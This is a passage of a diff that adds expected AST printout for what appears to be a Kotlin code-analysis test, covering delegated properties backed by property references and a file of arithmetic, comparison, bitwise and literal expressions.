+#   73|             2: [PropertyRefExpr] ...::...
+#   73|               -4: [AnonymousClass] new KProperty1<MyClass,Integer>(...) { ... }
+#   73|                 1: [Constructor] 
+#   73|                   5: [BlockStmt] { ... }
+#   73|                     0: [SuperConstructorInvocationStmt] super(...)
+#   73|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   73|                     0: [Parameter] a0
+#   73|                   5: [BlockStmt] { ... }
+#   73|                     0: [ReturnStmt] return ...
+#   73|                       0: [MethodAccess] getDelegatedToBaseClass2(...)
+#   73|                         -1: [VarAccess] a0
+#   73|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   73|                     0: [Parameter] a0
+#   73|                   5: [BlockStmt] { ... }
+#   73|                     0: [ReturnStmt] return ...
+#   73|                       0: [MethodAccess] get(...)
+#   73|                         -1: [ThisAccess] this
+#   73|                         0: [VarAccess] a0
+#   73|               -3: [TypeAccess] KProperty1<MyClass,Integer>
+#   73|                 0: [TypeAccess] MyClass
+#   73|                 1: [TypeAccess] Integer
+#   73|     21: [FieldDeclaration] KProperty1<Base,Integer> delegatedToBaseClass2$delegate;
+#   73|       -1: [TypeAccess] KProperty1<Base,Integer>
+#   73|         0: [TypeAccess] Base
+#   73|         1: [TypeAccess] Integer
+#   73|       0: [PropertyRefExpr] ...::...
+#   73|         -4: [AnonymousClass] new KProperty1<Base,Integer>(...) { ... }
+#   73|           1: [Constructor] 
+#   73|             5: [BlockStmt] { ... }
+#   73|               0: [SuperConstructorInvocationStmt] super(...)
+#   73|           1: [Method] get
+#-----|             4: (Parameters)
+#   73|               0: [Parameter] a0
+#   73|             5: [BlockStmt] { ... }
+#   73|               0: [ReturnStmt] return ...
+#   73|                 0: [MethodAccess] getBaseClassInt(...)
+#   73|                   -1: [VarAccess] a0
+#   73|           1: [Method] invoke
+#-----|             4: (Parameters)
+#   73|               0: [Parameter] a0
+#   73|             5: [BlockStmt] { ... }
+#   73|               0: [ReturnStmt] return ...
+#   73|                 0: [MethodAccess] get(...)
+#   73|                   -1: [ThisAccess] this
+#   73|                   0: [VarAccess] a0
+#   73|         -3: [TypeAccess] KProperty1<Base,Integer>
+#   73|           0: [TypeAccess] Base
+#   73|           1: [TypeAccess] Integer
+#   75|     23: [Method] getDelegatedToAnotherClass1
+#   75|       3: [TypeAccess] int
+#   75|       5: [BlockStmt] { ... }
+#   75|         0: [ReturnStmt] return ...
+#   75|           0: [MethodAccess] getValue(...)
+#   75|             -2: [TypeAccess] Integer
+#   75|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   75|             0: [VarAccess] this.delegatedToAnotherClass1$delegate
+#   75|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   75|             2: [PropertyRefExpr] ...::...
+#   75|               -4: [AnonymousClass] new KProperty1<MyClass,Integer>(...) { ... }
+#   75|                 1: [Constructor] 
+#   75|                   5: [BlockStmt] { ... }
+#   75|                     0: [SuperConstructorInvocationStmt] super(...)
+#   75|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   75|                     0: [Parameter] a0
+#   75|                   5: [BlockStmt] { ... }
+#   75|                     0: [ReturnStmt] return ...
+#   75|                       0: [MethodAccess] getDelegatedToAnotherClass1(...)
+#   75|                         -1: [VarAccess] a0
+#   75|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   75|                     0: [Parameter] a0
+#   75|                   5: [BlockStmt] { ... }
+#   75|                     0: [ReturnStmt] return ...
+#   75|                       0: [MethodAccess] get(...)
+#   75|                         -1: [ThisAccess] this
+#   75|                         0: [VarAccess] a0
+#   75|               -3: [TypeAccess] KProperty1<MyClass,Integer>
+#   75|                 0: [TypeAccess] MyClass
+#   75|                 1: [TypeAccess] Integer
+#   75|     23: [FieldDeclaration] KProperty0<Integer> delegatedToAnotherClass1$delegate;
+#   75|       -1: [TypeAccess] KProperty0<Integer>
+#   75|         0: [TypeAccess] Integer
+#   75|       0: [PropertyRefExpr] ...::...
+#   75|         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   75|           1: [Constructor] 
+#-----|             4: (Parameters)
+#   75|               0: [Parameter] <dispatchReceiver>
+#   75|             5: [BlockStmt] { ... }
+#   75|               0: [SuperConstructorInvocationStmt] super(...)
+#   75|               1: [ExprStmt] <Expr>;
+#   75|                 0: [AssignExpr] ...=...
+#   75|                   0: [VarAccess] this.<dispatchReceiver>
+#   75|                     -1: [ThisAccess] this
+#   75|                   1: [VarAccess] <dispatchReceiver>
+#   75|           1: [FieldDeclaration] ClassWithDelegate <dispatchReceiver>;
+#   75|             -1: [TypeAccess] ClassWithDelegate
+#   75|           1: [Method] get
+#   75|             5: [BlockStmt] { ... }
+#   75|               0: [ReturnStmt] return ...
+#   75|                 0: [MethodAccess] getAnotherClassInt(...)
+#   75|                   -1: [VarAccess] this.<dispatchReceiver>
+#   75|                     -1: [ThisAccess] this
+#   75|           1: [Method] invoke
+#   75|             5: [BlockStmt] { ... }
+#   75|               0: [ReturnStmt] return ...
+#   75|                 0: [MethodAccess] get(...)
+#   75|                   -1: [ThisAccess] this
+#   75|         -3: [TypeAccess] KProperty0<Integer>
+#   75|           0: [TypeAccess] Integer
+#   75|         0: [MethodAccess] getAnotherClassInstance(...)
+#   75|           -1: [ThisAccess] MyClass.this
+#   75|             0: [TypeAccess] MyClass
+#   77|     25: [Method] getDelegatedToTopLevel
+#   77|       3: [TypeAccess] int
+#   77|       5: [BlockStmt] { ... }
+#   77|         0: [ReturnStmt] return ...
+#   77|           0: [MethodAccess] getValue(...)
+#   77|             -2: [TypeAccess] Integer
+#   77|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   77|             0: [VarAccess] this.delegatedToTopLevel$delegate
+#   77|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   77|             2: [PropertyRefExpr] ...::...
+#   77|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   77|                 1: [Constructor] 
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [SuperConstructorInvocationStmt] super(...)
+#   77|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] getDelegatedToTopLevel(...)
+#   77|                         -1: [VarAccess] a0
+#   77|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] get(...)
+#   77|                         -1: [ThisAccess] this
+#   77|                         0: [VarAccess] a0
+#   77|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                     1: [Parameter] a1
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] setDelegatedToTopLevel(...)
+#   77|                         -1: [VarAccess] a0
+#   77|                         0: [VarAccess] a1
+#   77|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   77|                 0: [TypeAccess] MyClass
+#   77|                 1: [TypeAccess] Integer
+#   77|     25: [Method] setDelegatedToTopLevel
+#   77|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   77|         0: [Parameter] <set-?>
+#   77|           0: [TypeAccess] int
+#   77|       5: [BlockStmt] { ... }
+#   77|         0: [ReturnStmt] return ...
+#   77|           0: [MethodAccess] setValue(...)
+#   77|             -2: [TypeAccess] Integer
+#   77|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   77|             0: [VarAccess] this.delegatedToTopLevel$delegate
+#   77|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   77|             2: [PropertyRefExpr] ...::...
+#   77|               -4: [AnonymousClass] new KMutableProperty1<MyClass,Integer>(...) { ... }
+#   77|                 1: [Constructor] 
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [SuperConstructorInvocationStmt] super(...)
+#   77|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] getDelegatedToTopLevel(...)
+#   77|                         -1: [VarAccess] a0
+#   77|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] get(...)
+#   77|                         -1: [ThisAccess] this
+#   77|                         0: [VarAccess] a0
+#   77|                 1: [Method] set
+#-----|                   4: (Parameters)
+#   77|                     0: [Parameter] a0
+#   77|                     1: [Parameter] a1
+#   77|                   5: [BlockStmt] { ... }
+#   77|                     0: [ReturnStmt] return ...
+#   77|                       0: [MethodAccess] setDelegatedToTopLevel(...)
+#   77|                         -1: [VarAccess] a0
+#   77|                         0: [VarAccess] a1
+#   77|               -3: [TypeAccess] KMutableProperty1<MyClass,Integer>
+#   77|                 0: [TypeAccess] MyClass
+#   77|                 1: [TypeAccess] Integer
+#   77|             3: [VarAccess] <set-?>
+#   77|     25: [FieldDeclaration] KMutableProperty0<Integer> delegatedToTopLevel$delegate;
+#   77|       -1: [TypeAccess] KMutableProperty0<Integer>
+#   77|         0: [TypeAccess] Integer
+#   77|       0: [PropertyRefExpr] ...::...
+#   77|         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   77|           1: [Constructor] 
+#   77|             5: [BlockStmt] { ... }
+#   77|               0: [SuperConstructorInvocationStmt] super(...)
+#   77|           1: [Method] get
+#   77|             5: [BlockStmt] { ... }
+#   77|               0: [ReturnStmt] return ...
+#   77|                 0: [MethodAccess] getTopLevelInt(...)
+#   77|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   77|           1: [Method] invoke
+#   77|             5: [BlockStmt] { ... }
+#   77|               0: [ReturnStmt] return ...
+#   77|                 0: [MethodAccess] get(...)
+#   77|                   -1: [ThisAccess] this
+#   77|           1: [Method] set
+#-----|             4: (Parameters)
+#   77|               0: [Parameter] a0
+#   77|             5: [BlockStmt] { ... }
+#   77|               0: [ReturnStmt] return ...
+#   77|                 0: [MethodAccess] setTopLevelInt(...)
+#   77|                   -1: [TypeAccess] DelegatedPropertiesKt
+#   77|                   0: [VarAccess] a0
+#   77|         -3: [TypeAccess] KMutableProperty0<Integer>
+#   77|           0: [TypeAccess] Integer
+#   79|     28: [Method] getMax
+#   79|       3: [TypeAccess] int
+#   79|       5: [BlockStmt] { ... }
+#   79|         0: [ReturnStmt] return ...
+#   79|           0: [MethodAccess] getValue(...)
+#   79|             -2: [TypeAccess] Integer
+#   79|             -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   79|             0: [VarAccess] this.max$delegate
+#   79|               -1: [ThisAccess] this
+#    1|             1: [ThisAccess] this
+#   79|             2: [PropertyRefExpr] ...::...
+#   79|               -4: [AnonymousClass] new KProperty1<MyClass,Integer>(...) { ... }
+#   79|                 1: [Constructor] 
+#   79|                   5: [BlockStmt] { ... }
+#   79|                     0: [SuperConstructorInvocationStmt] super(...)
+#   79|                 1: [Method] get
+#-----|                   4: (Parameters)
+#   79|                     0: [Parameter] a0
+#   79|                   5: [BlockStmt] { ... }
+#   79|                     0: [ReturnStmt] return ...
+#   79|                       0: [MethodAccess] getMax(...)
+#   79|                         -1: [VarAccess] a0
+#   79|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   79|                     0: [Parameter] a0
+#   79|                   5: [BlockStmt] { ... }
+#   79|                     0: [ReturnStmt] return ...
+#   79|                       0: [MethodAccess] get(...)
+#   79|                         -1: [ThisAccess] this
+#   79|                         0: [VarAccess] a0
+#   79|               -3: [TypeAccess] KProperty1<MyClass,Integer>
+#   79|                 0: [TypeAccess] MyClass
+#   79|                 1: [TypeAccess] Integer
+#   79|     28: [FieldDeclaration] KProperty0<Integer> max$delegate;
+#   79|       -1: [TypeAccess] KProperty0<Integer>
+#   79|         0: [TypeAccess] Integer
+#   79|       0: [PropertyRefExpr] ...::...
+#   79|         -4: [AnonymousClass] new KProperty0<Integer>(...) { ... }
+#   79|           1: [Constructor] 
+#   79|             5: [BlockStmt] { ... }
+#   79|               0: [SuperConstructorInvocationStmt] super(...)
+#   79|           1: [Method] get
+#   79|             5: [BlockStmt] { ... }
+#   79|               0: [ReturnStmt] return ...
+#   79|                 0: [VarAccess] MAX_VALUE
+#   79|           1: [Method] invoke
+#   79|             5: [BlockStmt] { ... }
+#   79|               0: [ReturnStmt] return ...
+#   79|                 0: [MethodAccess] get(...)
+#   79|                   -1: [ThisAccess] this
+#   79|         -3: [TypeAccess] KProperty0<Integer>
+#   79|           0: [TypeAccess] Integer
+#   81|     30: [Method] fn
+#   81|       3: [TypeAccess] Unit
+#   81|       5: [BlockStmt] { ... }
+#   82|         0: [BlockStmt] { ... }
+#   82|           0: [LocalVariableDeclStmt] var ...;
+#   82|             1: [LocalVariableDeclExpr] delegatedToMember3$delegate
+#   82|               0: [PropertyRefExpr] ...::...
+#   82|                 -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   82|                   1: [Constructor] 
+#-----|                     4: (Parameters)
+#   82|                       0: [Parameter] <dispatchReceiver>
+#   82|                     5: [BlockStmt] { ... }
+#   82|                       0: [SuperConstructorInvocationStmt] super(...)
+#   82|                       1: [ExprStmt] <Expr>;
+#   82|                         0: [AssignExpr] ...=...
+#   82|                           0: [VarAccess] this.<dispatchReceiver>
+#   82|                             -1: [ThisAccess] this
+#   82|                           1: [VarAccess] <dispatchReceiver>
+#   82|                   1: [FieldDeclaration] MyClass <dispatchReceiver>;
+#   82|                     -1: [TypeAccess] MyClass
+#   82|                   1: [Method] get
+#   82|                     5: [BlockStmt] { ... }
+#   82|                       0: [ReturnStmt] return ...
+#   82|                         0: [MethodAccess] getMemberInt(...)
+#   82|                           -1: [VarAccess] this.<dispatchReceiver>
+#   82|                             -1: [ThisAccess] this
+#   82|                   1: [Method] invoke
+#   82|                     5: [BlockStmt] { ... }
+#   82|                       0: [ReturnStmt] return ...
+#   82|                         0: [MethodAccess] get(...)
+#   82|                           -1: [ThisAccess] this
+#   82|                   1: [Method] set
+#-----|                     4: (Parameters)
+#   82|                       0: [Parameter] a0
+#   82|                     5: [BlockStmt] { ... }
+#   82|                       0: [ReturnStmt] return ...
+#   82|                         0: [MethodAccess] setMemberInt(...)
+#   82|                           -1: [VarAccess] this.<dispatchReceiver>
+#   82|                             -1: [ThisAccess] this
+#   82|                           0: [VarAccess] a0
+#   82|                 -3: [TypeAccess] KMutableProperty0<Integer>
+#   82|                   0: [TypeAccess] Integer
+#   82|                 0: [ThisAccess] this
+#   82|           1: [LocalTypeDeclStmt] class ...
+#   82|             0: [LocalClass] 
+#   82|               1: [Constructor] 
+#   82|                 5: [BlockStmt] { ... }
+#   82|                   0: [SuperConstructorInvocationStmt] super(...)
+#   82|               1: [Method] <get-delegatedToMember3>
+#   82|                 3: [TypeAccess] int
+#   82|                 5: [BlockStmt] { ... }
+#   82|                   0: [ReturnStmt] return ...
+#   82|                     0: [MethodAccess] getValue(...)
+#   82|                       -2: [TypeAccess] Integer
+#   82|                       -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   82|                       0: [VarAccess] delegatedToMember3$delegate
+#    0|                       1: [NullLiteral] null
+#   82|                       2: [PropertyRefExpr] ...::...
+#   82|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   82|                           1: [Constructor] 
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [SuperConstructorInvocationStmt] super(...)
+#   82|                           1: [Method] get
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] <get-delegatedToMember3>(...)
+#   82|                                   -1: [ClassInstanceExpr] new (...)
+#   82|                                     -3: [TypeAccess] Object
+#   82|                           1: [Method] invoke
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] get(...)
+#   82|                                   -1: [ThisAccess] this
+#   82|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   82|                               0: [Parameter] a0
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] <set-delegatedToMember3>(...)
+#   82|                                   -1: [ClassInstanceExpr] new (...)
+#   82|                                     -3: [TypeAccess] Object
+#   82|                                   0: [VarAccess] a0
+#   82|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   82|                           0: [TypeAccess] Integer
+#   82|           2: [LocalTypeDeclStmt] class ...
+#   82|             0: [LocalClass] 
+#   82|               1: [Constructor] 
+#   82|                 5: [BlockStmt] { ... }
+#   82|                   0: [SuperConstructorInvocationStmt] super(...)
+#   82|               1: [Method] <set-delegatedToMember3>
+#   82|                 3: [TypeAccess] Unit
+#-----|                 4: (Parameters)
+#   82|                   0: [Parameter] value
+#   82|                     0: [TypeAccess] int
+#   82|                 5: [BlockStmt] { ... }
+#   82|                   0: [ReturnStmt] return ...
+#   82|                     0: [MethodAccess] setValue(...)
+#   82|                       -2: [TypeAccess] Integer
+#   82|                       -1: [TypeAccess] PropertyReferenceDelegatesKt
+#   82|                       0: [VarAccess] delegatedToMember3$delegate
+#    0|                       1: [NullLiteral] null
+#   82|                       2: [PropertyRefExpr] ...::...
+#   82|                         -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#   82|                           1: [Constructor] 
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [SuperConstructorInvocationStmt] super(...)
+#   82|                           1: [Method] get
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] <get-delegatedToMember3>(...)
+#   82|                                   -1: [ClassInstanceExpr] new (...)
+#   82|                                     -3: [TypeAccess] Object
+#   82|                           1: [Method] invoke
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] get(...)
+#   82|                                   -1: [ThisAccess] this
+#   82|                           1: [Method] set
+#-----|                             4: (Parameters)
+#   82|                               0: [Parameter] a0
+#   82|                             5: [BlockStmt] { ... }
+#   82|                               0: [ReturnStmt] return ...
+#   82|                                 0: [MethodAccess] <set-delegatedToMember3>(...)
+#   82|                                   -1: [ClassInstanceExpr] new (...)
+#   82|                                     -3: [TypeAccess] Object
+#   82|                                   0: [VarAccess] a0
+#   82|                         -3: [TypeAccess] KMutableProperty0<Integer>
+#   82|                           0: [TypeAccess] Integer
+#   82|                       3: [VarAccess] value
+#   83|         1: [ExprStmt] <Expr>;
+#   83|           0: [MethodAccess] fn(...)
+#   83|             -1: [ThisAccess] this
+exprs.kt:
+#    0| [CompilationUnit] exprs
+#    0|   1: [Class] ExprsKt
+#    4|     1: [Method] topLevelMethod
+#    4|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#    4|         0: [Parameter] x
+#    4|           0: [TypeAccess] int
+#    4|         1: [Parameter] y
+#    4|           0: [TypeAccess] int
+#    5|         2: [Parameter] byx
+#    5|           0: [TypeAccess] byte
+#    5|         3: [Parameter] byy
+#    5|           0: [TypeAccess] byte
+#    6|         4: [Parameter] sx
+#    6|           0: [TypeAccess] short
+#    6|         5: [Parameter] sy
+#    6|           0: [TypeAccess] short
+#    7|         6: [Parameter] lx
+#    7|           0: [TypeAccess] long
+#    7|         7: [Parameter] ly
+#    7|           0: [TypeAccess] long
+#    8|         8: [Parameter] dx
+#    8|           0: [TypeAccess] double
+#    8|         9: [Parameter] dy
+#    8|           0: [TypeAccess] double
+#    9|         10: [Parameter] fx
+#    9|           0: [TypeAccess] float
+#    9|         11: [Parameter] fy
+#    9|           0: [TypeAccess] float
+#   10|       5: [BlockStmt] { ... }
+#   11|         0: [LocalVariableDeclStmt] var ...;
+#   11|           1: [LocalVariableDeclExpr] i1
+#   11|             0: [IntegerLiteral] 1
+#   12|         1: [LocalVariableDeclStmt] var ...;
+#   12|           1: [LocalVariableDeclExpr] i2
+#   12|             0: [AddExpr] ... + ...
+#   12|               0: [VarAccess] x
+#   12|               1: [VarAccess] y
+#   13|         2: [LocalVariableDeclStmt] var ...;
+#   13|           1: [LocalVariableDeclExpr] i3
+#   13|             0: [SubExpr] ... - ...
+#   13|               0: [VarAccess] x
+#   13|               1: [VarAccess] y
+#   14|         3: [LocalVariableDeclStmt] var ...;
+#   14|           1: [LocalVariableDeclExpr] i4
+#   14|             0: [DivExpr] ... / ...
+#   14|               0: [VarAccess] x
+#   14|               1: [VarAccess] y
+#   15|         4: [LocalVariableDeclStmt] var ...;
+#   15|           1: [LocalVariableDeclExpr] i5
+#   15|             0: [RemExpr] ... % ...
+#   15|               0: [VarAccess] x
+#   15|               1: [VarAccess] y
+#   16|         5: [LocalVariableDeclStmt] var ...;
+#   16|           1: [LocalVariableDeclExpr] i6
+#   16|             0: [MethodAccess] shl(...)
+#   16|               -1: [VarAccess] x
+#   16|               0: [VarAccess] y
+#   17|         6: [LocalVariableDeclStmt] var ...;
+#   17|           1: [LocalVariableDeclExpr] i7
+#   17|             0: [MethodAccess] shr(...)
+#   17|               -1: [VarAccess] x
+#   17|               0: [VarAccess] y
+#   18|         7: [LocalVariableDeclStmt] var ...;
+#   18|           1: [LocalVariableDeclExpr] i8
+#   18|             0: [MethodAccess] ushr(...)
+#   18|               -1: [VarAccess] x
+#   18|               0: [VarAccess] y
+#   19|         8: [LocalVariableDeclStmt] var ...;
+#   19|           1: [LocalVariableDeclExpr] i9
+#   19|             0: [MethodAccess] and(...)
+#   19|               -1: [VarAccess] x
+#   19|               0: [VarAccess] y
+#   20|         9: [LocalVariableDeclStmt] var ...;
+#   20|           1: [LocalVariableDeclExpr] i10
+#   20|             0: [MethodAccess] or(...)
+#   20|               -1: [VarAccess] x
+#   20|               0: [VarAccess] y
+#   21|         10: [LocalVariableDeclStmt] var ...;
+#   21|           1: [LocalVariableDeclExpr] i11
+#   21|             0: [MethodAccess] xor(...)
+#   21|               -1: [VarAccess] x
+#   21|               0: [VarAccess] y
+#   22|         11: [LocalVariableDeclStmt] var ...;
+#   22|           1: [LocalVariableDeclExpr] i12
+#   22|             0: [MethodAccess] inv(...)
+#   22|               -1: [VarAccess] x
+#   23|         12: [LocalVariableDeclStmt] var ...;
+#   23|           1: [LocalVariableDeclExpr] i13
+#   23|             0: [ValueEQExpr] ... (value equals) ...
+#   23|               0: [VarAccess] x
+#   23|               1: [VarAccess] y
+#   24|         13: [LocalVariableDeclStmt] var ...;
+#   24|           1: [LocalVariableDeclExpr] i14
+#   24|             0: [ValueNEExpr] ... (value not-equals) ...
+#   24|               0: [VarAccess] x
+#   24|               1: [VarAccess] y
+#   25|         14: [LocalVariableDeclStmt] var ...;
+#   25|           1: [LocalVariableDeclExpr] i15
+#   25|             0: [LTExpr] ... < ...
+#   25|               0: [VarAccess] x
+#   25|               1: [VarAccess] y
+#   26|         15: [LocalVariableDeclStmt] var ...;
+#   26|           1: [LocalVariableDeclExpr] i16
+#   26|             0: [LEExpr] ... <= ...
+#   26|               0: [VarAccess] x
+#   26|               1: [VarAccess] y
+#   27|         16: [LocalVariableDeclStmt] var ...;
+#   27|           1: [LocalVariableDeclExpr] i17
+#   27|             0: [GTExpr] ... > ...
+#   27|               0: [VarAccess] x
+#   27|               1: [VarAccess] y
+#   28|         17: [LocalVariableDeclStmt] var ...;
+#   28|           1: [LocalVariableDeclExpr] i18
+#   28|             0: [GEExpr] ... >= ...
+#   28|               0: [VarAccess] x
+#   28|               1: [VarAccess] y
+#   29|         18: [LocalVariableDeclStmt] var ...;
+#   29|           1: [LocalVariableDeclExpr] i19
+#   29|             0: [EQExpr] ... == ...
+#   29|               0: [VarAccess] x
+#   29|               1: [VarAccess] y
+#   30|         19: [LocalVariableDeclStmt] var ...;
+#   30|           1: [LocalVariableDeclExpr] i20
+#   30|             0: [NEExpr] ... != ...
+#   30|               0: [VarAccess] x
+#   30|               1: [VarAccess] y
+#   31|         20: [LocalVariableDeclStmt] var ...;
+#   31|           1: [LocalVariableDeclExpr] i21
+#   31|             0: [MethodAccess] contains(...)
+#   31|               -1: [MethodAccess] rangeTo(...)
+#   31|                 -1: [VarAccess] x
+#   31|                 0: [VarAccess] y
+#   31|               0: [VarAccess] x
+#   32|         21: [LocalVariableDeclStmt] var ...;
+#   32|           1: [LocalVariableDeclExpr] i22
+#   32|             0: [MethodAccess] not(...)
+#   32|               -1: [MethodAccess] contains(...)
+#   32|                 -1: [MethodAccess] rangeTo(...)
+#   32|                   -1: [VarAccess] x
+#   32|                   0: [VarAccess] y
+#   32|                 0: [VarAccess] x
+#   34|         22: [LocalVariableDeclStmt] var ...;
+#   34|           1: [LocalVariableDeclExpr] by1
+#   34|             0: [DoubleLiteral] 1.0
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+#   35|           1: [LocalVariableDeclExpr] by2
+#   35|             0: [AddExpr] ... + ...
+#   35|               0: [VarAccess] byx
+#   35|               1: [VarAccess] byy
+#   36|         24: [LocalVariableDeclStmt] var ...;
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+#   36|             0: [SubExpr] ... - ...
+#   36|               0: [VarAccess] byx
+#   36|               1: [VarAccess] byy
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+#   37|             0: [DivExpr] ... / ...
+#   37|               0: [VarAccess] byx
+#   37|               1: [VarAccess] byy
+#   38|         26: [LocalVariableDeclStmt] var ...;
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+#   38|               0: [VarAccess] byx
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+#   39|             0: [ValueEQExpr] ... (value equals) ...
+#   39|               0: [MethodAccess] toInt(...)
+#   39|                 -1: [VarAccess] byx
+#   39|               1: [MethodAccess] toInt(...)
+#   39|                 -1: [VarAccess] byy
+#   40|         28: [LocalVariableDeclStmt] var ...;
+#   40|           1: [LocalVariableDeclExpr] by7
+#   40|             0: [ValueNEExpr] ... (value not-equals) ...
+#   40|               0: [MethodAccess] toInt(...)
+#   40|                 -1: [VarAccess] byx
+#   40|               1: [MethodAccess] toInt(...)
+#   40|                 -1: [VarAccess] byy
+#   41|         29: [LocalVariableDeclStmt] var ...;
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+#   41|             0: [LTExpr] ... < ...
+#   41|               0: [MethodAccess] toInt(...)
+#   41|                 -1: [VarAccess] byx
+#   41|               1: [MethodAccess] toInt(...)
+#   41|                 -1: [VarAccess] byy
+#   42|         30: [LocalVariableDeclStmt] var ...;
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+#   42|             0: [LEExpr] ... <= ...
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+#   42|                 -1: [VarAccess] byx
+#   42|               1: [MethodAccess] toInt(...)
+#   42|                 -1: [VarAccess] byy
+#   43|         31: [LocalVariableDeclStmt] var ...;
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+#   43|               0: [MethodAccess] toInt(...)
+#   43|                 -1: [VarAccess] byx
+#   43|               1: [MethodAccess] toInt(...)
+#   43|                 -1: [VarAccess] byy
+#   44|         32: [LocalVariableDeclStmt] var ...;
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+#   44|             0: [GEExpr] ... >= ...
+#   44|               0: [MethodAccess] toInt(...)
+#   44|                 -1: [VarAccess] byx
+#   44|               1: [MethodAccess] toInt(...)
+#   44|                 -1: [VarAccess] byy
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+#   45|             0: [EQExpr] ... == ...
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+#   46|             0: [NEExpr] ... != ...
+#   46|               0: [VarAccess] byx
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+#   48|             0: [DoubleLiteral] 1.0
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+#   49|             0: [AddExpr] ... + ...
+#   49|               0: [VarAccess] sx
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+#   50|               0: [VarAccess] sx
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+#   51|             0: [DivExpr] ... / ...
+#   51|               0: [VarAccess] sx
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+#   52|               0: [VarAccess] sx
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+#   53|             0: [ValueEQExpr] ... (value equals) ...
+#   53|               0: [MethodAccess] toInt(...)
+#   53|                 -1: [VarAccess] sx
+#   53|               1: [MethodAccess] toInt(...)
+#   53|                 -1: [VarAccess] sy
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+#   54|             0: [ValueNEExpr] ... (value not-equals) ...
+#   54|               0: [MethodAccess] toInt(...)
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+#   54|               1: [MethodAccess] toInt(...)
+#   54|                 -1: [VarAccess] sy
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+#   55|                 -1: [VarAccess] sx
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+#   55|                 -1: [VarAccess] sy
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+#   56|             0: [LEExpr] ... <= ...
+#   56|               0: [MethodAccess] toInt(...)
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+#   56|               1: [MethodAccess] toInt(...)
+#   56|                 -1: [VarAccess] sy
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+#   57|               0: [MethodAccess] toInt(...)
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+#   57|                 -1: [VarAccess] sy
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+#   58|             0: [GEExpr] ... >= ...
+#   58|               0: [MethodAccess] toInt(...)
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+#   58|                 -1: [VarAccess] sy
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+#   65|               0: [VarAccess] lx
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+#   67|             0: [MethodAccess] shl(...)
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+#   67|               0: [VarAccess] y
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+#   68|             0: [MethodAccess] shr(...)
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+#   71|             0: [MethodAccess] or(...)
+#   71|               -1: [VarAccess] lx
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+#   72|             0: [MethodAccess] xor(...)
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+#   73|             0: [MethodAccess] inv(...)
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+#   74|             0: [ValueEQExpr] ... (value equals) ...
+#   74|               0: [VarAccess] lx
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+#   75|               0: [VarAccess] lx
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+#  111|             0: [BooleanLiteral] true
+#  112|         95: [LocalVariableDeclStmt] var ...;
+#  112|           1: [LocalVariableDeclExpr] b2
+#  112|             0: [BooleanLiteral] false
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+#  113|           1: [LocalVariableDeclExpr] b3
+#  113|             0: [AndLogicalExpr] ... && ...
+#  113|               0: [VarAccess] b1
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+#  114|         97: [LocalVariableDeclStmt] var ...;
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+#  114|             0: [OrLogicalExpr] ... || ...
+#  114|               0: [VarAccess] b1
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+#  115|         98: [LocalVariableDeclStmt] var ...;
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+#  115|             0: [MethodAccess] not(...)
+#  115|               -1: [VarAccess] b1
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+#  117|           1: [LocalVariableDeclExpr] c
+#  117|             0: [CharacterLiteral] x
+#  118|         100: [LocalVariableDeclStmt] var ...;
+#  118|           1: [LocalVariableDeclExpr] str
+#  118|             0: [StringLiteral] string lit
+#  119|         101: [LocalVariableDeclStmt] var ...;
+#  119|           1: [LocalVariableDeclExpr] strWithQuote
